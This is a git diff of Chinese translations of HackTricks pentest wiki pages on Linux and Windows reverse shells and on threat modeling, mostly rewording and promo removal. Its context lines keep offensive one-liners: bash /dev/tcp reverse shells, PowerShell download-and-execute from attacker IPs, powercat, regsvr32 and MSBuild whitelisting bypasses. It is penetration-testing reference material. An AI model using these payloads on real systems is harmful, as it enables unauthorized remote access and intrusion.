学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Shells - Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,19 +15,11 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**如果你对这些 shell 有任何问题,可以查看** [**https://explainshell.com/**](https://explainshell.com)
|
||||
**如果你对这些 shell 有任何疑问,可以查看** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Full TTY
|
||||
|
||||
**一旦你获得了反向 shell**[ **请阅读此页面以获取完整 TTY**](full-ttys.md)**.**
|
||||
**一旦你获得了反向 shell**[ **请阅读此页面以获取完整的 TTY**](full-ttys.md)**.**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
|
@ -42,9 +34,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
|
|||
#after getting the previous shell to get the output to execute
|
||||
exec >&0
|
||||
```
|
||||
不要忘记检查其他 shell:sh、ash、bsh、csh、ksh、zsh、pdksh、tcsh 和 bash。
|
||||
不要忘记检查其他shell:sh、ash、bsh、csh、ksh、zsh、pdksh、tcsh和bash。
|
||||
|
||||
### 符号安全 shell
|
||||
### 符号安全shell
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
|
@ -56,10 +48,10 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
#### Shell 解释
|
||||
|
||||
1. **`bash -i`**: 该命令的这一部分启动一个交互式(`-i`)Bash shell。
|
||||
2. **`>&`**: 该命令的这一部分是**重定向标准输出**(`stdout`)和**标准错误**(`stderr`)到**同一目的地**的简写表示法。
|
||||
2. **`>&`**: 该命令的这一部分是**将标准输出**(`stdout`)和**标准错误**(`stderr`)**重定向到同一目标**的简写表示法。
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: 这是一个特殊文件,**表示与指定IP地址和端口的TCP连接**。
|
||||
* 通过**将输出和错误流重定向到此文件**,该命令有效地将交互式shell会话的输出发送到攻击者的机器。
|
||||
4. **`0>&1`**: 该命令的这一部分**将标准输入(`stdin`)重定向到与标准输出(`stdout`)相同的目的地**。
|
||||
4. **`0>&1`**: 该命令的这一部分**将标准输入(`stdin`)重定向到与标准输出(`stdout`)相同的目标**。
|
||||
|
||||
### 创建文件并执行
|
||||
```bash
|
||||
|
@ -110,7 +102,7 @@ toboggan -m nix.py -i
|
|||
* 您的有效负载的前缀和后缀(如果有的话)
|
||||
* 发送有效负载的方式(头部?数据?额外信息?)
|
||||
|
||||
然后,您可以直接 **发送命令**,甚至 **使用 `upgrade` 命令** 来获取完整的 PTY(注意管道的读取和写入大约有 1.3 秒的延迟)。
|
||||
然后,您可以直接 **发送命令**,甚至 **使用 `upgrade` 命令** 来获取完整的 PTY(请注意,管道的读取和写入大约有 1.3 秒的延迟)。
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
|
@ -317,7 +309,7 @@ close(Service)
|
|||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
要捕获反向 shell,您可以使用(将在端口 6001 上监听):
|
||||
要捕获反向 shell,您可以使用(将监听端口 6001):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -340,23 +332,17 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,24 +9,16 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
页面 [lolbas-project.github.io](https://lolbas-project.github.io/) 是针对 Windows 的,就像 [https://gtfobins.github.io/](https://gtfobins.github.io/) 是针对 Linux 的。\
|
||||
显然,**Windows 中没有 SUID 文件或 sudo 权限**,但了解 **如何** 一些 **二进制文件** 可以被 (滥) 用于执行某种意外操作,如 **执行任意代码**,是很有用的。
|
||||
页面 [lolbas-project.github.io](https://lolbas-project.github.io/) 针对 Windows,就像 [https://gtfobins.github.io/](https://gtfobins.github.io/) 针对 Linux。\
|
||||
显然,**Windows 中没有 SUID 文件或 sudo 权限**,但了解 **如何** 一些 **二进制文件** 可以被(滥)用来执行某种意外操作,如 **执行任意代码**,是很有用的。
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -272,7 +264,7 @@ set lhost 10.2.0.5
|
|||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
**您可以通过 stager regsvr 非常轻松地下载和执行 Koadic 僵尸**
|
||||
**您可以使用 stager regsvr 非常轻松地下载和执行 Koadic 僵尸**
|
||||
|
||||
## Certutil
|
||||
|
||||
|
@ -356,8 +348,8 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
您可以使用此技术绕过应用程序白名单和 Powershell.exe 限制。您将会看到一个 PS shell。\
|
||||
只需下载并执行它: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
您可以使用此技术绕过应用程序白名单和 Powershell.exe 限制。因为您将被提示使用 PS shell。\
|
||||
只需下载并执行此文件: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
|
@ -365,7 +357,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
|||
|
||||
## **CSC**
|
||||
|
||||
在受害者机器上编译C#代码。
|
||||
在受害者机器上编译 C# 代码。
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
|
@ -399,15 +391,15 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
在**Shells**文件夹中,有许多不同的shell。要下载并执行Invoke-_PowerShellTcp.ps1_,请复制脚本并将其附加到文件末尾:
|
||||
在**Shells**文件夹中,有很多不同的shell。要下载并执行Invoke-_PowerShellTcp.ps1_,请复制脚本并将其附加到文件末尾:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
在网络服务器上开始提供脚本并在受害者端执行:
|
||||
在网络服务器上启动脚本并在受害者端执行:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defender 尚未将其检测为恶意代码(截至 2019 年 3 月 4 日)。
|
||||
Defender 目前尚未将其检测为恶意代码(截至2019年3月4日)。
|
||||
|
||||
**TODO: 检查其他 nishang shells**
|
||||
|
||||
|
@ -415,7 +407,7 @@ Defender 尚未将其检测为恶意代码(截至 2019 年 3 月 4 日)。
|
|||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
下载,启动一个 web 服务器,启动监听器,并在受害者端执行:
|
||||
下载,启动一个网络服务器,启动监听器,并在受害者端执行:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
@ -483,24 +475,19 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS 控制台,带有一些攻
|
|||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,47 @@
|
|||
# 威胁建模
|
||||
# Threat Modeling
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Threat Modeling
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否已受到**窃取恶意软件**的**威胁**。
|
||||
欢迎来到 HackTricks 关于威胁建模的综合指南!开始探索网络安全这一关键方面,在这里我们识别、理解并制定针对系统潜在漏洞的策略。此线程作为逐步指南,包含真实案例、有用的软件和易于理解的解释。非常适合希望加强网络安全防御的新手和经验丰富的从业者。
|
||||
|
||||
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
### Commonly Used Scenarios
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
1. **软件开发**:作为安全软件开发生命周期(SSDLC)的一部分,威胁建模有助于**在开发早期识别潜在漏洞来源**。
|
||||
2. **渗透测试**:渗透测试执行标准(PTES)框架要求**进行威胁建模以了解系统的漏洞**,然后再进行测试。
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
### Threat Model in a Nutshell
|
||||
|
||||
***
|
||||
威胁模型通常以图表、图像或其他形式的可视化插图表示,描绘应用程序的计划架构或现有构建。它与**数据流图**相似,但关键区别在于其安全导向的设计。
|
||||
|
||||
## 威胁建模
|
||||
威胁模型通常包含用红色标记的元素,象征潜在的漏洞、风险或障碍。为了简化风险识别过程,采用CIA(机密性、完整性、可用性)三元组,构成许多威胁建模方法的基础,其中STRIDE是最常见的。然而,所选方法可能会根据具体上下文和要求而有所不同。
|
||||
|
||||
欢迎来到HackTricks关于威胁建模的全面指南!探索这个关键的网络安全方面,我们在这里识别、理解并制定对抗系统潜在漏洞的策略。本文提供了一步一步的指南,包含了现实世界的示例、有用的软件和易于理解的解释。适用于初学者和有经验的从业者,希望加强他们的网络安全防御。
|
||||
### The CIA Triad
|
||||
|
||||
### 常用场景
|
||||
CIA三元组是信息安全领域广泛认可的模型,代表机密性、完整性和可用性。这三大支柱构成了许多安全措施和政策的基础,包括威胁建模方法。
|
||||
|
||||
1. **软件开发**:作为安全软件开发生命周期(SSDLC)的一部分,威胁建模有助于在开发的早期阶段**识别潜在的漏洞来源**。
|
||||
2. **渗透测试**:渗透测试执行标准(PTES)框架要求在进行测试之前进行威胁建模,以了解系统的漏洞。
|
||||
1. **机密性**:确保数据或系统不被未经授权的个人访问。这是安全的核心方面,需要适当的访问控制、加密和其他措施以防止数据泄露。
|
||||
2. **完整性**:数据在其生命周期内的准确性、一致性和可信度。该原则确保数据未被未经授权的方更改或篡改。通常涉及校验和、哈希和其他数据验证方法。
|
||||
3. **可用性**:确保数据和服务在需要时可供授权用户访问。这通常涉及冗余、容错和高可用性配置,以保持系统在中断情况下仍能运行。
|
||||
|
||||
### 威胁模型简介
|
||||
### Threat Modeling Methodlogies
|
||||
|
||||
威胁模型通常以图表、图像或其他形式的视觉展示来表示,展示了应用程序的计划架构或现有构建。它类似于**数据流图**,但其关键区别在于其面向安全的设计。
|
||||
1. **STRIDE**:由微软开发,STRIDE是**欺骗、篡改、否认、信息泄露、拒绝服务和特权提升**的首字母缩略词。每个类别代表一种威胁,这种方法通常用于程序或系统的设计阶段,以识别潜在威胁。
|
||||
2. **DREAD**:这是微软用于已识别威胁风险评估的另一种方法。DREAD代表**损害潜力、可重现性、可利用性、受影响用户和可发现性**。每个因素都被评分,结果用于优先排序已识别的威胁。
|
||||
3. **PASTA**(攻击模拟和威胁分析过程):这是一种七步的**以风险为中心**的方法。它包括定义和识别安全目标、创建技术范围、应用程序分解、威胁分析、漏洞分析和风险/分流评估。
|
||||
4. **Trike**:这是一种基于风险的方法,专注于保护资产。它从**风险管理**的角度出发,考虑威胁和漏洞。
|
||||
5. **VAST**(可视化、敏捷和简单的威胁建模):这种方法旨在更易于访问,并集成到敏捷开发环境中。它结合了其他方法的元素,专注于**威胁的可视化表示**。
|
||||
6. **OCTAVE**(操作关键威胁、资产和漏洞评估):由CERT协调中心开发,该框架旨在**进行组织风险评估,而不是特定系统或软件**。
|
||||
|
||||
威胁模型通常包含用红色标记的元素,表示潜在的漏洞、风险或障碍。为了简化风险识别过程,通常采用CIA(机密性、完整性、可用性)三元组,构成许多威胁建模方法的基础,STRIDE是其中最常见的之一。然而,选择的方法可能会根据具体的上下文和要求而有所不同。
|
||||
## Tools
|
||||
|
||||
### CIA三元组
|
||||
|
||||
CIA三元组是信息安全领域中广泛认可的模型,代表机密性、完整性和可用性。这三个支柱构成了许多安全措施和政策的基础,包括威胁建模方法。
|
||||
|
||||
1. **机密性**:确保数据或系统不被未经授权的个人访问。这是安全的核心方面,需要适当的访问控制、加密和其他措施来防止数据泄露。
|
||||
2. **完整性**:数据在其生命周期中的准确性、一致性和可信度。这一原则确保数据不会被未经授权的方进行更改或篡改。通常涉及校验和哈希等数据验证方法。
|
||||
3. **可用性**:确保数据和服务在需要时对授权用户可访问。这通常涉及冗余、容错和高可用配置,以确保即使面临中断,系统也能继续运行。
|
||||
|
||||
### 威胁建模方法
|
||||
|
||||
1. **STRIDE**:由微软开发,STRIDE是**欺骗、篡改、否认、信息披露、服务拒绝和权限提升**的首字母缩写。每个类别代表一种威胁类型,这种方法通常用于程序或系统设计阶段,以识别潜在威胁。
|
||||
2. **DREAD**:这是微软的另一种用于已识别威胁的风险评估方法。DREAD代表**破坏潜力、可重现性、可利用性、受影响用户和可发现性**。对这些因素进行评分,并使用结果对已识别的威胁进行优先排序。
|
||||
3. **PASTA**(攻击模拟和威胁分析过程):这是一个七步骤的**以风险为中心**的方法。它包括定义和识别安全目标、创建技术范围、应用程序分解、威胁分析、漏洞分析和风险/分类评估。
|
||||
4. **Trike**:这是一个以风险管理为基础的方法,侧重于保护资产。它从**风险管理**的角度出发,查看威胁和漏洞。
|
||||
5. **VAST**(可视化、敏捷和简单威胁建模):这种方法旨在更易于访问,并集成到敏捷开发环境中。它结合了其他方法的元素,侧重于**威胁的可视化呈现**。
|
||||
6. **OCTAVE**(运营关键威胁、资产和漏洞评估):由CERT协调中心开发,该框架旨在进行**组织风险评估,而不是特定系统或软件**。
|
||||
|
||||
## 工具
|
||||
|
||||
有几种可用的工具和软件解决方案可**帮助**创建和管理威胁模型。以下是您可能考虑的一些工具。
|
||||
有几种工具和软件解决方案可用于**协助**创建和管理威胁模型。以下是您可能考虑的一些工具。
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
一款先进的跨平台、多功能GUI网络蜘蛛/爬虫,适用于网络安全专业人员。Spider Suite可用于攻击面映射和分析。
|
||||
一个先进的跨平台多功能GUI网络爬虫/蜘蛛,适用于网络安全专业人员。Spider Suite可用于攻击面映射和分析。
|
||||
|
||||
**用法**
|
||||
**Usage**
|
||||
|
||||
1. 选择一个URL并爬取
|
||||
|
||||
|
@ -66,15 +53,15 @@ CIA三元组是信息安全领域中广泛认可的模型,代表机密性、
|
|||
|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
来自OWASP的开源项目,Threat Dragon是一个包含系统图示和规则引擎以自动生成威胁/缓解措施的Web和桌面应用程序。
|
||||
OWASP的一个开源项目,Threat Dragon是一个网页和桌面应用程序,包含系统图示以及自动生成威胁/缓解措施的规则引擎。
|
||||
|
||||
**用法**
|
||||
**Usage**
|
||||
|
||||
1. 创建新项目
|
||||
|
||||
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
有时看起来可能像这样:
|
||||
有时它可能看起来像这样:
|
||||
|
||||
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -88,21 +75,21 @@ CIA三元组是信息安全领域中广泛认可的模型,代表机密性、
|
|||
|
||||
4. 创建您的模型
|
||||
|
||||
您可以使用工具如SpiderSuite爬虫来给您灵感,一个基本模型可能看起来像这样
|
||||
您可以使用像SpiderSuite Crawler这样的工具来获得灵感,基本模型可能看起来像这样
|
||||
|
||||
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
对实体的简要解释:
|
||||
关于实体的简要说明:
|
||||
|
||||
* 过程(实体本身,如Web服务器或Web功能)
|
||||
* 演员(人员,如网站访问者、用户或管理员)
|
||||
* 数据流线(交互指示器)
|
||||
* 参与者(如网站访客、用户或管理员的人)
|
||||
* 数据流线(交互的指示)
|
||||
* 信任边界(不同的网络段或范围。)
|
||||
* 存储(数据存储的地方,如数据库)
|
||||
|
||||
5. 创建威胁(步骤1)
|
||||
|
||||
首先,您必须选择要向其添加威胁的层
|
||||
首先,您必须选择要添加威胁的层
|
||||
|
||||
<figure><img src="../.gitbook/assets/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -110,25 +97,16 @@ CIA三元组是信息安全领域中广泛认可的模型,代表机密性、
|
|||
|
||||
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
请注意,演员威胁和过程威胁之间存在区别。如果您向演员添加威胁,那么您只能选择“欺骗”和“否认”。然而,在我们的示例中,我们向过程实体添加威胁,因此我们将在威胁创建框中看到这一点:
|
||||
请记住,参与者威胁和过程威胁之间是有区别的。如果您要向参与者添加威胁,则只能选择“欺骗”和“否认”。然而在我们的示例中,我们将威胁添加到过程实体,因此我们将在威胁创建框中看到:
|
||||
|
||||
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. 完成
|
||||
|
||||
现在您完成的模型应该看起来像这样。这就是您如何使用OWASP Threat Dragon制作简单的威胁模型。
|
||||
### [Microsoft威胁建模工具](https://aka.ms/threatmodelingtool)
|
||||
现在您完成的模型应该看起来像这样。这就是如何使用OWASP Threat Dragon制作简单的威胁模型。
|
||||
|
||||
这是微软提供的免费工具,可帮助在软件项目的设计阶段发现威胁。它使用STRIDE方法论,特别适用于在微软平台上开发的人员。
|
||||
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。
|
||||
|
||||
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
这是微软提供的一个免费工具,帮助在软件项目的设计阶段发现威胁。它使用STRIDE方法,特别适合在微软技术栈上开发的人员。
|
||||
|
|
|
@ -9,21 +9,13 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
